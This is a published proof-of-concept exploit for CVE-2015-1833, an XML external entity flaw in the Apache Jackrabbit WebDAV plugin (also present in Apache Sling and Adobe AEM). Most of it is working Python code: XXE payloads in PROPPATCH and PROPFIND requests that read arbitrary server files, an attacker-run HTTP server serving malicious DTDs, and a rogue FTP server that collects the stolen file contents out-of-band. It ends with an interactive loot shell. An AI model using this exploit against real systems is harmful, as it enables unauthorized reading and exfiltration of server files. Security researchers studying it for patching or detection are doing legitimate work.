Apache JackRabbit – WebDAV XML External Entity
#!/usr/bin/env python """ # Exploit Title: Jackrabbit WebDAV XXE # Date: 25-05-2015 # Software Link: http://jackrabbit.apache.org/jcr/ # Exploit Author: Mikhail Egorov # Contact: 0ang3el () gmail com # Website: http://0ang3el.blogspot.com # CVE: CVE-2015-1833 # Category: webapps 1. Description Jackrabbit WebDAV plugin use insecurely configured XML parser to parse incoming PROPPATCH and PROPFIND requests. As a result it is vulnerable to XXE attacks. Besides Jackrabbit JCR, WebDAV plugin is incorporated into the following software: Apache Sling, Adobe AEM. 2. Proof of Concept Download vulnerable Apache Sling launchpad web application from here - https://sling.apache.org Start launchpad web application as follows: root@kali:~/build-sling# java -jar org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar Launch exploit with the following command: root@kali:~# python cve-2015-1833.py --url http://127.0.0.1:8080/content/xxe --tech oob --ip 127.0.0.1 enter command> get . loaded 210 bytes in buffer enter command> show apache-maven-3.0.5 apache-maven-3.0.5-bin.tar.gz derby.log eclipse hs_err_pid5379.log org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar python-workspace enter command> store /tmp/cwd.lst buffer content has been stored in file /tmp/cwd.lst enter command> exit root@kali:~# Exploit have three exploitation techniques: * inb1 - inbound XXE technique, it first writes content as attribute value of controllable JCR node using PROPPATCH request and then retrieves content using PROPFIND request * inb2 - same as inb1, but there is some XML magic to retrieve content that is not valid XML data * oob - out-of-bound technique, utilizes FTP hack from this blog http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html Technique inb2 is the most stable. But it requires credentials of the user that is able to modify some JCR node. Attacker host must have "visible ip" which is required for communication between target and attacker's host. Technique oob works even with anonymous credentials. But it is not so stable as inb2 technique. Technique inb1 does not require "visible ip", but there are limitations on retrieved content. 3. Solution: If you use Apache Jackrabbit, install version 2.10.1. http://www.apache.org/dist/jackrabbit/2.10.1/RELEASE-NOTES.txt """ from urllib2 import * import sys, string, random import base64 import xml.etree.ElementTree as ET import BaseHTTPServer, SimpleHTTPServer from multiprocessing import Process, Value, Manager from optparse import OptionParser import socket, select usage= """ %prog --url <url> --tech inb1 [ --creds <creds> ] %prog --url <url> --tech inb2 --ip <ip> [ --creds <creds> --hport <hport> ] %prog --url <url> --tech oob --ip <ip> [ --creds <creds> --hport <hport> --fport <fport>] """ help_interpreter = """ help - print this help. get <dir or file> - retrieve directory listing or file content and store it inside internal buffer. You can use "." to denote current directory (e.g. use "get ." for cwd listing). show - show content of internal buffer. store <out file> - store internal buffer in file. exit - stop exploiting """ failure_descr = """ Possible reasons: 1. Inappropriate technique, try another options. 2. You do not have permissions to read file or list directory. 3. Target is not exploitable. """ rand_attr = '' script_name = sys.argv[0].split('/')[-1] buffer_with_loot = '' url, tech, ip, creds, hport, fport = [None] * 6 http_server, ftp_server = [None] * 2 class HTTP_XXE(): def __init__(self, ip, port, fport): self.port = port self.ip = ip self.fport = fport def run(self): class http_handler(BaseHTTPServer.BaseHTTPRequestHandler): def __init__(self, ip, fport,*args): self.ip = ip self.fport = fport BaseHTTPServer.BaseHTTPRequestHandler.__init__(self, *args) def do_GET(self): if "inb2" in self.path: self.send_response(200) self.send_header('Content-type','application/xml') self.end_headers() self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY all "%start;%loot;%end;">') if "oob" in self.path: self.send_response(200) self.send_header('Content-type','application/xml') self.end_headers() self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY %% all "<!ENTITY % send SYSTEM "ftp://%(ip)s:%(port)s/%%loot;">">%%all;' % {'ip' : self.ip, 'port' : self.fport}) def log_message(self, format, *args): # silent HTTP server return def serve(httpd): while True: httpd.handle_request() handler = lambda *args: http_handler(self.ip, self.fport, *args) httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', self.port), handler) self.proc = Process(target = serve, args = (httpd,)) self.proc.start() def stop(self): self.proc.terminate() class FTP_XXE(): def __init__(self, port): self.port = port def run(self): class ftp_handler(): def __init__(self, port): self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server.setblocking(0) self.server.bind(('0.0.0.0', port)) self.server.listen(5) def serve(self, d): inputs = [self.server] while True: readable, writable, exceptional = select.select(inputs, [], []) for s in readable: if s is self.server: connection, client_address = s.accept() connection.setblocking(0) inputs.append(connection) connection.send("220 xxe-ftp-server\n") else: data = s.recv(1024) if not data: inputs.remove(s) continue if "USER" in data: s.send("331 password please - version check\n") else: s.send("230 more data please!\n") if not len([x for x in ["PASS","EPSV","EPRT","TYPE"] if x in data]): d['loot'] += data self.d = Manager().dict() self.d['loot'] = '' ftpd = ftp_handler(self.port) self.proc = Process(target = ftpd.serve, args=(self.d,)) self.proc.start() def stop(self): self.proc.terminate() def clean_buf(self): self.d['loot'] = '' def get_loot(self): loot = self.d['loot'] # clean data loot = loot.replace('\r\nRETR ','/') loot = loot.replace('\r\nCWD ','/') loot = loot.replace('CWD ','',1) loot = loot.replace('RETR ','',1) return loot def exploit(url, technique, creds = 'anonymous:anonymous'): global buffer_with_loot, rand_attr requests = { 'inb1' : { 'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY loot SYSTEM "%(file)s"> ]> <D:propertyupdate xmlns:D="DAV:"> <D:set> <D:prop> <%(attr_name)s>&loot;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>', 'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>' }, 'inb2' : { 'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY %% start "<![CDATA["> <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% end "]]>"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/inb2"> %%dtd; ]> <D:propertyupdate xmlns:D="DAV:"> <D:set> <D:prop> <%(attr_name)s>&all;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>', 'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>' }, 'oob' : { 'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE propfind [ <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/oob"> %%dtd; %%send; ]> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>' } } def request(url, verb, data, creds, timeout): req = Request(url, data) req.add_header('User-Agent', script_name) req.add_header('Content-Type', 'application/xml') req.add_header('Authorization', 'Basic ' + base64.b64encode(creds)) req.get_method = lambda: verb #req.set_proxy('127.0.0.1:8081','http') ### For debug resp = None try: resp = urlopen(req, timeout = timeout).read() except Exception, e: pass return resp while 1: cmdline = raw_input('\033[33menter command> \033[0m') cmdline = re.sub('\s+', ' ', cmdline) cmd = cmdline.split(' ')[0] arg = cmdline.split(' ')[-1] if cmd not in ['help', 'get', 'show', 'store', 'exit']: print '\n\033[36mno such command, use help for command list \033[0m\n' continue if cmd == 'exit': break if cmd == 'help': print '\033[36m' + help_interpreter + '\033[0m' continue if cmd == 'show': print '\n\033[36m' + buffer_with_loot + '\033[0m' continue if cmd == 'store': with open(arg,'w') as outf: outf.write(buffer_with_loot) print '\n\033[32mbuffer content has been stored in file ' + arg + '\033[0m\n' continue if cmd == 'get': if arg.startswith('.'): arg = '/proc/self/cwd' + arg[1:] arg = 'file://' + arg rand_attr = ''.join([random.choice(string.ascii_lowercase) for i in range(10)]) ### random attribute name where we place content if technique == 'inb1': request1 = requests['inb1']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg} request(url, 'PROPPATCH', request1, creds, timeout = 30) request2 = requests['inb1']['PROPFIND'] loot = request(url, 'PROPFIND', request2, creds, timeout = 30) try: buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text except: buffer_with_loot = '' if technique == 'inb2': request1 = requests['inb2']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg, 'ip' : ip, 'port' : hport} request(url, 'PROPPATCH', request1, creds, timeout = 30) request2 = requests['inb2']['PROPFIND'] loot = request(url, 'PROPFIND', request2, creds, timeout = 30) try: buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text.replace('<[CDATA[','').replace(']]>','') except: buffer_with_loot = '' if technique == 'oob': request1 = requests['oob']['PROPFIND'] % {'file' : arg, 'ip' : ip, 'port' : hport} request(url, 'PROPFIND', request1, creds, timeout = 8) buffer_with_loot = ftp_server.get_loot() ftp_server.clean_buf() len_ = sys.getsizeof(buffer_with_loot) - sys.getsizeof('') print "\n\033[32mloaded %s bytes in buffer\033[0m\n" % len_ if not len_: print '\033[36m' + failure_descr + '\033[0m' continue def parse_options(): global url, tech, ip, creds, hport, fport parser = OptionParser(usage = usage) parser.add_option('--url', dest = url, help = 'url parameter') parser.add_option('--tech', dest = tech, help = 'technique, valid values are: inb1, inb2, oob') parser.add_option('--creds', dest = creds, help = 'user credentials, default value is anonymous:anonymous') parser.add_option('--ip', dest = ip, help = 'ip address of netw interface that your target is able to access') parser.add_option('--hport', dest = hport, help = 'port for HTTP server which will be launched during attack, default is 9998') parser.add_option('--fport', dest = fport, help = 'port for FTP server which will be launched during attack, default is 9999') (options, args) = parser.parse_args() if not options.url or not options.tech: print 'you must specify url and tech parameters' sys.exit(2) if options.tech not in ['inb1', 'inb2', 'oob']: print 'invalid tech parameter' sys.exit(2) if options.tech != 'inb1' and not options.ip: print 'you must specify ip parameter' sys.exit(2) url = options.url tech = options.tech ip = options.ip creds = options.creds if options.creds else 'anonymous:anonymous' hport = options.hport if options.hport else 9998 fport = options.fport if options.fport else 9999 parse_options() if tech != 'inb1': http_server = HTTP_XXE(ip, hport, fport) http_server.run() if tech == 'oob': ftp_server = FTP_XXE(fport) ftp_server.run() exploit(url, tech, creds) if tech != 'inb1': http_server.stop() if tech == 'oob': ftp_server.stop() |